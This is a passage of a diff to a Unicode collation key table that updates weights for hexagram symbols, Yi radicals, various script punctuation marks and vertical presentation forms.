+4DD9  ; [*0EC3.0020.0002] # HEXAGRAM FOR GREAT TAMING
+4DDA  ; [*0EC4.0020.0002] # HEXAGRAM FOR MOUTH CORNERS
+4DDB  ; [*0EC5.0020.0002] # HEXAGRAM FOR GREAT PREPONDERANCE
+4DDC  ; [*0EC6.0020.0002] # HEXAGRAM FOR THE ABYSMAL WATER
+4DDD  ; [*0EC7.0020.0002] # HEXAGRAM FOR THE CLINGING FIRE
+4DDE  ; [*0EC8.0020.0002] # HEXAGRAM FOR INFLUENCE
+4DDF  ; [*0EC9.0020.0002] # HEXAGRAM FOR DURATION
+4DE0  ; [*0ECA.0020.0002] # HEXAGRAM FOR RETREAT
+4DE1  ; [*0ECB.0020.0002] # HEXAGRAM FOR GREAT POWER
+4DE2  ; [*0ECC.0020.0002] # HEXAGRAM FOR PROGRESS
+4DE3  ; [*0ECD.0020.0002] # HEXAGRAM FOR DARKENING OF THE LIGHT
+4DE4  ; [*0ECE.0020.0002] # HEXAGRAM FOR THE FAMILY
+4DE5  ; [*0ECF.0020.0002] # HEXAGRAM FOR OPPOSITION
+4DE6  ; [*0ED0.0020.0002] # HEXAGRAM FOR OBSTRUCTION
+4DE7  ; [*0ED1.0020.0002] # HEXAGRAM FOR DELIVERANCE
+4DE8  ; [*0ED2.0020.0002] # HEXAGRAM FOR DECREASE
+4DE9  ; [*0ED3.0020.0002] # HEXAGRAM FOR INCREASE
+4DEA  ; [*0ED4.0020.0002] # HEXAGRAM FOR BREAKTHROUGH
+4DEB  ; [*0ED5.0020.0002] # HEXAGRAM FOR COMING TO MEET
+4DEC  ; [*0ED6.0020.0002] # HEXAGRAM FOR GATHERING TOGETHER
+4DED  ; [*0ED7.0020.0002] # HEXAGRAM FOR PUSHING UPWARD
+4DEE  ; [*0ED8.0020.0002] # HEXAGRAM FOR OPPRESSION
+4DEF  ; [*0ED9.0020.0002] # HEXAGRAM FOR THE WELL
+4DF0  ; [*0EDA.0020.0002] # HEXAGRAM FOR REVOLUTION
+4DF1  ; [*0EDB.0020.0002] # HEXAGRAM FOR THE CAULDRON
+4DF2  ; [*0EDC.0020.0002] # HEXAGRAM FOR THE AROUSING THUNDER
+4DF3  ; [*0EDD.0020.0002] # HEXAGRAM FOR THE KEEPING STILL MOUNTAIN
+4DF4  ; [*0EDE.0020.0002] # HEXAGRAM FOR DEVELOPMENT
+4DF5  ; [*0EDF.0020.0002] # HEXAGRAM FOR THE MARRYING MAIDEN
+4DF6  ; [*0EE0.0020.0002] # HEXAGRAM FOR ABUNDANCE
+4DF7  ; [*0EE1.0020.0002] # HEXAGRAM FOR THE WANDERER
+4DF8  ; [*0EE2.0020.0002] # HEXAGRAM FOR THE GENTLE WIND
+4DF9  ; [*0EE3.0020.0002] # HEXAGRAM FOR THE JOYOUS LAKE
+4DFA  ; [*0EE4.0020.0002] # HEXAGRAM FOR DISPERSION
+4DFB  ; [*0EE5.0020.0002] # HEXAGRAM FOR LIMITATION
+4DFC  ; [*0EE6.0020.0002] # HEXAGRAM FOR INNER TRUTH
+4DFD  ; [*0EE7.0020.0002] # HEXAGRAM FOR SMALL PREPONDERANCE
+4DFE  ; [*0EE8.0020.0002] # HEXAGRAM FOR AFTER COMPLETION
+4DFF  ; [*0EE9.0020.0002] # HEXAGRAM FOR BEFORE COMPLETION
+A490  ; [*0F41.0020.0002] # YI RADICAL QOT
+A491  ; [*0F42.0020.0002] # YI RADICAL LI
+A492  ; [*0F43.0020.0002] # YI RADICAL KIT
+A493  ; [*0F44.0020.0002] # YI RADICAL NYIP
+A494  ; [*0F45.0020.0002] # YI RADICAL CYP
+A495  ; [*0F46.0020.0002] # YI RADICAL SSI
+A496  ; [*0F47.0020.0002] # YI RADICAL GGOP
+A497  ; [*0F48.0020.0002] # YI RADICAL GEP
+A498  ; [*0F49.0020.0002] # YI RADICAL MI
+A499  ; [*0F4A.0020.0002] # YI RADICAL HXIT
+A49A  ; [*0F4B.0020.0002] # YI RADICAL LYR
+A49B  ; [*0F4C.0020.0002] # YI RADICAL BBUT
+A49C  ; [*0F4D.0020.0002] # YI RADICAL MOP
+A49D  ; [*0F4E.0020.0002] # YI RADICAL YO
+A49E  ; [*0F4F.0020.0002] # YI RADICAL PUT
+A49F  ; [*0F50.0020.0002] # YI RADICAL HXUO
+A4A0  ; [*0F51.0020.0002] # YI RADICAL TAT
+A4A1  ; [*0F52.0020.0002] # YI RADICAL GA
+A4A2  ; [*0F53.0020.0002] # YI RADICAL ZUP
+A4A3  ; [*0F54.0020.0002] # YI RADICAL CYT
+A4A4  ; [*0F55.0020.0002] # YI RADICAL DDUR
+A4A5  ; [*0F56.0020.0002] # YI RADICAL BUR
+A4A6  ; [*0F57.0020.0002] # YI RADICAL GGUO
+A4A7  ; [*0F58.0020.0002] # YI RADICAL NYOP
+A4A8  ; [*0F59.0020.0002] # YI RADICAL TU
+A4A9  ; [*0F5A.0020.0002] # YI RADICAL OP
+A4AA  ; [*0F5B.0020.0002] # YI RADICAL JJUT
+A4AB  ; [*0F5C.0020.0002] # YI RADICAL ZOT
+A4AC  ; [*0F5D.0020.0002] # YI RADICAL PYT
+A4AD  ; [*0F5E.0020.0002] # YI RADICAL HMO
+A4AE  ; [*0F5F.0020.0002] # YI RADICAL YIT
+A4AF  ; [*0F60.0020.0002] # YI RADICAL VUR
+A4B0  ; [*0F61.0020.0002] # YI RADICAL SHY
+A4B1  ; [*0F62.0020.0002] # YI RADICAL VEP
+A4B2  ; [*0F63.0020.0002] # YI RADICAL ZA
+A4B3  ; [*0F64.0020.0002] # YI RADICAL JO
+A4B4  ; [*0F65.0020.0002] # YI RADICAL NZUP
+A4B5  ; [*0F66.0020.0002] # YI RADICAL JJY
+A4B6  ; [*0F67.0020.0002] # YI RADICAL GOT
+A4B7  ; [*0F68.0020.0002] # YI RADICAL JJIE
+A4B8  ; [*0F69.0020.0002] # YI RADICAL WO
+A4B9  ; [*0F6A.0020.0002] # YI RADICAL DU
+A4BA  ; [*0F6B.0020.0002] # YI RADICAL SHUR
+A4BB  ; [*0F6C.0020.0002] # YI RADICAL LIE
+A4BC  ; [*0F6D.0020.0002] # YI RADICAL CY
+A4BD  ; [*0F6E.0020.0002] # YI RADICAL CUOP
+A4BE  ; [*0F6F.0020.0002] # YI RADICAL CIP
+A4BF  ; [*0F70.0020.0002] # YI RADICAL HXOP
+A4C0  ; [*0F71.0020.0002] # YI RADICAL SHAT
+A4C1  ; [*0F72.0020.0002] # YI RADICAL ZUR
+A4C2  ; [*0F73.0020.0002] # YI RADICAL SHOP
+A4C3  ; [*0F74.0020.0002] # YI RADICAL CHE
+A4C4  ; [*0F75.0020.0002] # YI RADICAL ZZIET
+A4C5  ; [*0F76.0020.0002] # YI RADICAL NBIE
+A4C6  ; [*0F77.0020.0002] # YI RADICAL KE
+A4FE  ; [*022E.0020.0002] # LISU PUNCTUATION COMMA
+A4FF  ; [*0285.0020.0002] # LISU PUNCTUATION FULL STOP
+A60D  ; [*022F.0020.0002] # VAI COMMA
+A60E  ; [*0286.0020.0002] # VAI FULL STOP
+A60F  ; [*0270.0020.0002] # VAI QUESTION MARK
 A670  ; [.0000.0000.0000] # COMBINING CYRILLIC TEN MILLIONS SIGN
 A671  ; [.0000.0000.0000] # COMBINING CYRILLIC HUNDRED MILLIONS SIGN
 A672  ; [.0000.0000.0000] # COMBINING CYRILLIC THOUSAND MILLIONS SIGN
-A673  ; [*038C.0020.0002] # SLAVONIC ASTERISK
-A67E  ; [*03C2.0020.0002] # CYRILLIC KAVYKA
-A6F2  ; [*02D0.0020.0002] # BAMUM NJAEMLI
-A6F3  ; [*0284.0020.0002] # BAMUM FULL STOP
-A6F4  ; [*025E.0020.0002] # BAMUM COLON
-A6F5  ; [*022F.0020.0002] # BAMUM COMMA
-A6F6  ; [*0237.0020.0002] # BAMUM SEMICOLON
-A6F7  ; [*026F.0020.0002] # BAMUM QUESTION MARK
-A700  ; [*04B1.0020.0002] # MODIFIER LETTER CHINESE TONE YIN PING
-A701  ; [*04B2.0020.0002] # MODIFIER LETTER CHINESE TONE YANG PING
-A702  ; [*04B3.0020.0002] # MODIFIER LETTER CHINESE TONE YIN SHANG
-A703  ; [*04B4.0020.0002] # MODIFIER LETTER CHINESE TONE YANG SHANG
-A704  ; [*04B5.0020.0002] # MODIFIER LETTER CHINESE TONE YIN QU
-A705  ; [*04B6.0020.0002] # MODIFIER LETTER CHINESE TONE YANG QU
-A706  ; [*04B7.0020.0002] # MODIFIER LETTER CHINESE TONE YIN RU
-A707  ; [*04B8.0020.0002] # MODIFIER LETTER CHINESE TONE YANG RU
-A708  ; [*04B9.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR
-A709  ; [*04BA.0020.0002] # MODIFIER LETTER HIGH DOTTED TONE BAR
-A70A  ; [*04BB.0020.0002] # MODIFIER LETTER MID DOTTED TONE BAR
-A70B  ; [*04BC.0020.0002] # MODIFIER LETTER LOW DOTTED TONE BAR
-A70C  ; [*04BD.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR
-A70D  ; [*04BE.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR
-A70E  ; [*04BF.0020.0002] # MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR
-A70F  ; [*04C0.0020.0002] # MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR
-A710  ; [*04C1.0020.0002] # MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR
-A711  ; [*04C2.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR
-A712  ; [*04C3.0020.0002] # MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR
-A713  ; [*04C4.0020.0002] # MODIFIER LETTER HIGH LEFT-STEM TONE BAR
-A714  ; [*04C5.0020.0002] # MODIFIER LETTER MID LEFT-STEM TONE BAR
-A715  ; [*04C6.0020.0002] # MODIFIER LETTER LOW LEFT-STEM TONE BAR
-A716  ; [*04C7.0020.0002] # MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR
-A717  ; [*04C8.0020.0002] # MODIFIER LETTER DOT VERTICAL BAR
-A718  ; [*04C9.0020.0002] # MODIFIER LETTER DOT SLASH
-A719  ; [*04CA.0020.0002] # MODIFIER LETTER DOT HORIZONTAL BAR
-A71A  ; [*04CB.0020.0002] # MODIFIER LETTER LOWER RIGHT CORNER ANGLE
-A71B  ; [*04CC.0020.0002] # MODIFIER LETTER RAISED UP ARROW
-A71C  ; [*04CD.0020.0002] # MODIFIER LETTER RAISED DOWN ARROW
-A71D  ; [*04CE.0020.0002] # MODIFIER LETTER RAISED EXCLAMATION MARK
-A71E  ; [*04CF.0020.0002] # MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK
-A71F  ; [*04D0.0020.0002] # MODIFIER LETTER LOW INVERTED EXCLAMATION MARK
-A720  ; [*04D1.0020.0002] # MODIFIER LETTER STRESS AND HIGH TONE
-A721  ; [*04D2.0020.0002] # MODIFIER LETTER STRESS AND LOW TONE
-A788  ; [*04D3.0020.0002] # MODIFIER LETTER LOW CIRCUMFLEX ACCENT
-A789  ; [*04D4.0020.0002] # MODIFIER LETTER COLON
-A78A  ; [*04D5.0020.0002] # MODIFIER LETTER SHORT EQUALS SIGN
-A828  ; [*04FF.0020.0002] # SYLOTI NAGRI POETRY MARK-1
-A829  ; [*0500.0020.0002] # SYLOTI NAGRI POETRY MARK-2
-A82A  ; [*0501.0020.0002] # SYLOTI NAGRI POETRY MARK-3
-A82B  ; [*0502.0020.0002] # SYLOTI NAGRI POETRY MARK-4
-A830  ; [*1A32.0020.0002] # NORTH INDIC FRACTION ONE QUARTER
-A831  ; [*1A33.0020.0002] # NORTH INDIC FRACTION ONE HALF
-A832  ; [*1A34.0020.0002] # NORTH INDIC FRACTION THREE QUARTERS
-A833  ; [*1A35.0020.0002] # NORTH INDIC FRACTION ONE SIXTEENTH
-A834  ; [*1A36.0020.0002] # NORTH INDIC FRACTION ONE EIGHTH
-A835  ; [*1A37.0020.0002] # NORTH INDIC FRACTION THREE SIXTEENTHS
-A836  ; [*0503.0020.0002] # NORTH INDIC QUARTER MARK
-A837  ; [*0504.0020.0002] # NORTH INDIC PLACEHOLDER MARK
-A839  ; [*0505.0020.0002] # NORTH INDIC QUANTITY MARK
-A874  ; [*0411.0020.0002] # PHAGS-PA SINGLE HEAD MARK
-A875  ; [*0412.0020.0002] # PHAGS-PA DOUBLE HEAD MARK
-A876  ; [*0291.0020.0002] # PHAGS-PA MARK SHAD
-A877  ; [*0292.0020.0002] # PHAGS-PA MARK DOUBLE SHAD
-A8CE  ; [*028D.0020.0002] # SAURASHTRA DANDA
-A8CF  ; [*028E.0020.0002] # SAURASHTRA DOUBLE DANDA
+A673  ; [*0393.0020.0002] # SLAVONIC ASTERISK
+A67E  ; [*03CA.0020.0002] # CYRILLIC KAVYKA
+A6F2  ; [*02D7.0020.0002] # BAMUM NJAEMLI
+A6F3  ; [*0287.0020.0002] # BAMUM FULL STOP
+A6F4  ; [*025F.0020.0002] # BAMUM COLON
+A6F5  ; [*0230.0020.0002] # BAMUM COMMA
+A6F6  ; [*0238.0020.0002] # BAMUM SEMICOLON
+A6F7  ; [*0271.0020.0002] # BAMUM QUESTION MARK
+A700  ; [*04D0.0020.0002] # MODIFIER LETTER CHINESE TONE YIN PING
+A701  ; [*04D1.0020.0002] # MODIFIER LETTER CHINESE TONE YANG PING
+A702  ; [*04D2.0020.0002] # MODIFIER LETTER CHINESE TONE YIN SHANG
+A703  ; [*04D3.0020.0002] # MODIFIER LETTER CHINESE TONE YANG SHANG
+A704  ; [*04D4.0020.0002] # MODIFIER LETTER CHINESE TONE YIN QU
+A705  ; [*04D5.0020.0002] # MODIFIER LETTER CHINESE TONE YANG QU
+A706  ; [*04D6.0020.0002] # MODIFIER LETTER CHINESE TONE YIN RU
+A707  ; [*04D7.0020.0002] # MODIFIER LETTER CHINESE TONE YANG RU
+A708  ; [*04D8.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR
+A709  ; [*04D9.0020.0002] # MODIFIER LETTER HIGH DOTTED TONE BAR
+A70A  ; [*04DA.0020.0002] # MODIFIER LETTER MID DOTTED TONE BAR
+A70B  ; [*04DB.0020.0002] # MODIFIER LETTER LOW DOTTED TONE BAR
+A70C  ; [*04DC.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR
+A70D  ; [*04DD.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR
+A70E  ; [*04DE.0020.0002] # MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR
+A70F  ; [*04DF.0020.0002] # MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR
+A710  ; [*04E0.0020.0002] # MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR
+A711  ; [*04E1.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR
+A712  ; [*04E2.0020.0002] # MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR
+A713  ; [*04E3.0020.0002] # MODIFIER LETTER HIGH LEFT-STEM TONE BAR
+A714  ; [*04E4.0020.0002] # MODIFIER LETTER MID LEFT-STEM TONE BAR
+A715  ; [*04E5.0020.0002] # MODIFIER LETTER LOW LEFT-STEM TONE BAR
+A716  ; [*04E6.0020.0002] # MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR
+A717  ; [*04E7.0020.0002] # MODIFIER LETTER DOT VERTICAL BAR
+A718  ; [*04E8.0020.0002] # MODIFIER LETTER DOT SLASH
+A719  ; [*04E9.0020.0002] # MODIFIER LETTER DOT HORIZONTAL BAR
+A71A  ; [*04EA.0020.0002] # MODIFIER LETTER LOWER RIGHT CORNER ANGLE
+A71B  ; [*04EB.0020.0002] # MODIFIER LETTER RAISED UP ARROW
+A71C  ; [*04EC.0020.0002] # MODIFIER LETTER RAISED DOWN ARROW
+A71D  ; [*04ED.0020.0002] # MODIFIER LETTER RAISED EXCLAMATION MARK
+A71E  ; [*04EE.0020.0002] # MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK
+A71F  ; [*04EF.0020.0002] # MODIFIER LETTER LOW INVERTED EXCLAMATION MARK
+A720  ; [*04F0.0020.0002] # MODIFIER LETTER STRESS AND HIGH TONE
+A721  ; [*04F1.0020.0002] # MODIFIER LETTER STRESS AND LOW TONE
+A788  ; [*04F2.0020.0002] # MODIFIER LETTER LOW CIRCUMFLEX ACCENT
+A789  ; [*04F3.0020.0002] # MODIFIER LETTER COLON
+A78A  ; [*04F4.0020.0002] # MODIFIER LETTER SHORT EQUALS SIGN
+A828  ; [*051F.0020.0002] # SYLOTI NAGRI POETRY MARK-1
+A829  ; [*0520.0020.0002] # SYLOTI NAGRI POETRY MARK-2
+A82A  ; [*0521.0020.0002] # SYLOTI NAGRI POETRY MARK-3
+A82B  ; [*0522.0020.0002] # SYLOTI NAGRI POETRY MARK-4
+A830  ; [*1AA2.0020.0002] # NORTH INDIC FRACTION ONE QUARTER
+A831  ; [*1AA3.0020.0002] # NORTH INDIC FRACTION ONE HALF
+A832  ; [*1AA4.0020.0002] # NORTH INDIC FRACTION THREE QUARTERS
+A833  ; [*1AA5.0020.0002] # NORTH INDIC FRACTION ONE SIXTEENTH
+A834  ; [*1AA6.0020.0002] # NORTH INDIC FRACTION ONE EIGHTH
+A835  ; [*1AA7.0020.0002] # NORTH INDIC FRACTION THREE SIXTEENTHS
+A836  ; [*0523.0020.0002] # NORTH INDIC QUARTER MARK
+A837  ; [*0524.0020.0002] # NORTH INDIC PLACEHOLDER MARK
+A839  ; [*0525.0020.0002] # NORTH INDIC QUANTITY MARK
+A874  ; [*0428.0020.0002] # PHAGS-PA SINGLE HEAD MARK
+A875  ; [*0429.0020.0002] # PHAGS-PA DOUBLE HEAD MARK
+A876  ; [*0294.0020.0002] # PHAGS-PA MARK SHAD
+A877  ; [*0295.0020.0002] # PHAGS-PA MARK DOUBLE SHAD
+A8CE  ; [*0290.0020.0002] # SAURASHTRA DANDA
+A8CF  ; [*0291.0020.0002] # SAURASHTRA DOUBLE DANDA
 A8E0  ; [.0000.0000.0000] # COMBINING DEVANAGARI DIGIT ZERO
 A8E1  ; [.0000.0000.0000] # COMBINING DEVANAGARI DIGIT ONE
 A8E2  ; [.0000.0000.0000] # COMBINING DEVANAGARI DIGIT TWO
@@ -3981,71 +4014,71 @@
 A8EF  ; [.0000.0000.0000] # COMBINING DEVANAGARI LETTER RA
 A8F0  ; [.0000.0000.0000] # COMBINING DEVANAGARI LETTER VI
 A8F1  ; [.0000.0000.0000] # COMBINING DEVANAGARI SIGN AVAGRAHA
-A8F8  ; [*03D3.0020.0002] # DEVANAGARI SIGN PUSHPIKA
-A8F9  ; [*03D4.0020.0002] # DEVANAGARI GAP FILLER
-A8FA  ; [*03D5.0020.0002] # DEVANAGARI CARET
-A8FC  ; [*03D6.0020.0002] # DEVANAGARI SIGN SIDDHAM
-A92E  ; [*0417.0020.0002] # KAYAH LI SIGN CWI
-A92F  ; [*0295.0020.0002] # KAYAH LI SIGN SHYA
-A95F  ; [*02D1.0020.0002] # REJANG SECTION MARK
-A9C1  ; [*02C6.0020.0002] # JAVANESE LEFT RERENGGAN
-A9C2  ; [*02C7.0020.0002] # JAVANESE RIGHT RERENGGAN
-A9C3  ; [*02C8.0020.0002] # JAVANESE PADA ANDAP
-A9C4  ; [*02C9.0020.0002] # JAVANESE PADA MADYA
-A9C5  ; [*02CA.0020.0002] # JAVANESE PADA LUHUR
-A9C6  ; [*02CB.0020.0002] # JAVANESE PADA WINDU
-A9C7  ; [*025A.0020.0002] # JAVANESE PADA PANGKAT
-A9C8  ; [*02A0.0020.0002] # JAVANESE PADA LINGSA
-A9C9  ; [*02A1.0020.0002] # JAVANESE PADA LUNGSI
-A9CA  ; [*02CC.0020.0002] # JAVANESE PADA ADEG
-A9CB  ; [*02CD.0020.0002] # JAVANESE PADA ADEG ADEG
-A9CC  ; [*02CE.0020.0002] # JAVANESE PADA PISELEH
-A9CD  ; [*02CF.0020.0002] # JAVANESE TURNED PADA PISELEH
-A9DE  ; [*0418.0020.0002] # JAVANESE PADA TIRTA TUMETES
-A9DF  ; [*0419.0020.0002] # JAVANESE PADA ISEN-ISEN
-AA5C  ; [*041A.0020.0002] # CHAM PUNCTUATION SPIRAL
-AA5D  ; [*02A2.0020.0002] # CHAM PUNCTUATION DANDA
-AA5E  ; [*02A3.0020.0002] # CHAM PUNCTUATION DOUBLE DANDA
-AA5F  ; [*02A4.0020.0002] # CHAM PUNCTUATION TRIPLE DANDA
-AA77  ; [*052D.0020.0002] # MYANMAR SYMBOL AITON EXCLAMATION
-AA78  ; [*052E.0020.0002] # MYANMAR SYMBOL AITON ONE
-AA79  ; [*052F.0020.0002] # MYANMAR SYMBOL AITON TWO
-AADE  ; [*03DC.0020.0002] # TAI VIET SYMBOL HO HOI
-AADF  ; [*03DD.0020.0002] # TAI VIET SYMBOL KOI KOI
-AAF0  ; [*02A5.0020.0002] # MEETEI MAYEK CHEIKHAN
-AAF1  ; [*0270.0020.0002] # MEETEI MAYEK AHANG KHUDAM
-AB5B  ; [*04D6.0020.0002] # MODIFIER BREVE WITH INVERTED BREVE
-ABEB  ; [*02A6.0020.0002] # MEETEI MAYEK CHEIKHEI
-FB29  ; [*05F6.0020.0005] # HEBREW LETTER ALTERNATIVE PLUS SIGN
-FBB2  ; [*04E3.0020.0002] # ARABIC SYMBOL DOT ABOVE
-FBB3  ; [*04E4.0020.0002] # ARABIC SYMBOL DOT BELOW
-FBB4  ; [*04E5.0020.0002] # ARABIC SYMBOL TWO DOTS ABOVE
-FBB5  ; [*04E6.0020.0002] # ARABIC SYMBOL TWO DOTS BELOW
-FBB6  ; [*04E7.0020.0002] # ARABIC SYMBOL THREE DOTS ABOVE
-FBB7  ; [*04E8.0020.0002] # ARABIC SYMBOL THREE DOTS BELOW
-FBB8  ; [*04E9.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE
-FBB9  ; [*04EA.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW
-FBBA  ; [*04EB.0020.0002] # ARABIC SYMBOL FOUR DOTS ABOVE
-FBBB  ; [*04EC.0020.0002] # ARABIC SYMBOL FOUR DOTS BELOW
-FBBC  ; [*04ED.0020.0002] # ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW
-FBBD  ; [*04EE.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE
-FBBE  ; [*04EF.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY BELOW
-FBBF  ; [*04F0.0020.0002] # ARABIC SYMBOL RING
-FBC0  ; [*04F1.0020.0002] # ARABIC SYMBOL SMALL TAH ABOVE
-FBC1  ; [*04F2.0020.0002] # ARABIC SYMBOL SMALL TAH BELOW
-FD3E  ; [*037A.0020.0002] # ORNATE LEFT PARENTHESIS
-FD3F  ; [*037B.0020.0002] # ORNATE RIGHT PARENTHESIS
-FDFD  ; [*04E2.0020.0002] # ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
-FE10  ; [*0221.0020.0016] # PRESENTATION FORM FOR VERTICAL COMMA
-FE11  ; [*0230.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA
-FE12  ; [*0287.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP
-FE13  ; [*0238.0020.0016] # PRESENTATION FORM FOR VERTICAL COLON
-FE14  ; [*0233.0020.0016] # PRESENTATION FORM FOR VERTICAL SEMICOLON
-FE15  ; [*025F.0020.0016] # PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK
-FE16  ; [*0264.0020.0016] # PRESENTATION FORM FOR VERTICAL QUESTION MARK
-FE17  ; [*0374.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET
-FE18  ; [*0375.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET
-FE19  ; [*0274.0020.0016][*0274.0020.0016][*0274.0020.0016] # PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS
+A8F8  ; [*03E8.0020.0002] # DEVANAGARI SIGN PUSHPIKA
+A8F9  ; [*03E9.0020.0002] # DEVANAGARI GAP FILLER
+A8FA  ; [*03EA.0020.0002] # DEVANAGARI CARET
+A8FC  ; [*03EB.0020.0002] # DEVANAGARI SIGN SIDDHAM
+A92E  ; [*042E.0020.0002] # KAYAH LI SIGN CWI
+A92F  ; [*0298.0020.0002] # KAYAH LI SIGN SHYA
+A95F  ; [*02D8.0020.0002] # REJANG SECTION MARK
+A9C1  ; [*02CD.0020.0002] # JAVANESE LEFT RERENGGAN
+A9C2  ; [*02CE.0020.0002] # JAVANESE RIGHT RERENGGAN
+A9C3  ; [*02CF.0020.0002] # JAVANESE PADA ANDAP
+A9C4  ; [*02D0.0020.0002] # JAVANESE PADA MADYA
+A9C5  ; [*02D1.0020.0002] # JAVANESE PADA LUHUR
+A9C6  ; [*02D2.0020.0002] # JAVANESE PADA WINDU
+A9C7  ; [*025B.0020.0002] # JAVANESE PADA PANGKAT
+A9C8  ; [*02A3.0020.0002] # JAVANESE PADA LINGSA
+A9C9  ; [*02A4.0020.0002] # JAVANESE PADA LUNGSI
+A9CA  ; [*02D3.0020.0002] # JAVANESE PADA ADEG
+A9CB  ; [*02D4.0020.0002] # JAVANESE PADA ADEG ADEG
+A9CC  ; [*02D5.0020.0002] # JAVANESE PADA PISELEH
+A9CD  ; [*02D6.0020.0002] # JAVANESE TURNED PADA PISELEH
+A9DE  ; [*042F.0020.0002] # JAVANESE PADA TIRTA TUMETES
+A9DF  ; [*0430.0020.0002] # JAVANESE PADA ISEN-ISEN
+AA5C  ; [*0431.0020.0002] # CHAM PUNCTUATION SPIRAL
+AA5D  ; [*02A5.0020.0002] # CHAM PUNCTUATION DANDA
+AA5E  ; [*02A6.0020.0002] # CHAM PUNCTUATION DOUBLE DANDA
+AA5F  ; [*02A7.0020.0002] # CHAM PUNCTUATION TRIPLE DANDA
+AA77  ; [*054D.0020.0002] # MYANMAR SYMBOL AITON EXCLAMATION
+AA78  ; [*054E.0020.0002] # MYANMAR SYMBOL AITON ONE
+AA79  ; [*054F.0020.0002] # MYANMAR SYMBOL AITON TWO
+AADE  ; [*03F1.0020.0002] # TAI VIET SYMBOL HO HOI
+AADF  ; [*03F2.0020.0002] # TAI VIET SYMBOL KOI KOI
+AAF0  ; [*02A8.0020.0002] # MEETEI MAYEK CHEIKHAN
+AAF1  ; [*0272.0020.0002] # MEETEI MAYEK AHANG KHUDAM
+AB5B  ; [*04F5.0020.0002] # MODIFIER BREVE WITH INVERTED BREVE
+ABEB  ; [*02A9.0020.0002] # MEETEI MAYEK CHEIKHEI
+FB29  ; [*0616.0020.0005] # HEBREW LETTER ALTERNATIVE PLUS SIGN
+FBB2  ; [*0502.0020.0002] # ARABIC SYMBOL DOT ABOVE
+FBB3  ; [*0503.0020.0002] # ARABIC SYMBOL DOT BELOW
+FBB4  ; [*0504.0020.0002] # ARABIC SYMBOL TWO DOTS ABOVE
+FBB5  ; [*0505.0020.0002] # ARABIC SYMBOL TWO DOTS BELOW
+FBB6  ; [*0506.0020.0002] # ARABIC SYMBOL THREE DOTS ABOVE
+FBB7  ; [*0507.0020.0002] # ARABIC SYMBOL THREE DOTS BELOW
+FBB8  ; [*0508.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE
+FBB9  ; [*0509.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW
+FBBA  ; [*050A.0020.0002] # ARABIC SYMBOL FOUR DOTS ABOVE
+FBBB  ; [*050B.0020.0002] # ARABIC SYMBOL FOUR DOTS BELOW
+FBBC  ; [*050C.0020.0002] # ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW
+FBBD  ; [*050D.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE
+FBBE  ; [*050E.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY BELOW
+FBBF  ; [*050F.0020.0002] # ARABIC SYMBOL RING
+FBC0  ; [*0510.0020.0002] # ARABIC SYMBOL SMALL TAH ABOVE
+FBC1  ; [*0511.0020.0002] # ARABIC SYMBOL SMALL TAH BELOW
+FD3E  ; [*0381.0020.0002] # ORNATE LEFT PARENTHESIS
+FD3F  ; [*0382.0020.0002] # ORNATE RIGHT PARENTHESIS
+FDFD  ; [*0501.0020.0002] # ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+FE10  ; [*0222.0020.0016] # PRESENTATION FORM FOR VERTICAL COMMA
+FE11  ; [*0231.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA
+FE12  ; [*028A.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP
+FE13  ; [*0239.0020.0016] # PRESENTATION FORM FOR VERTICAL COLON
+FE14  ; [*0234.0020.0016] # PRESENTATION FORM FOR VERTICAL SEMICOLON
+FE15  ; [*0260.0020.0016] # PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK
+FE16  ; [*0266.0020.0016] # PRESENTATION FORM FOR VERTICAL QUESTION MARK
+FE17  ; [*037B.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET
+FE18  ; [*037C.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET
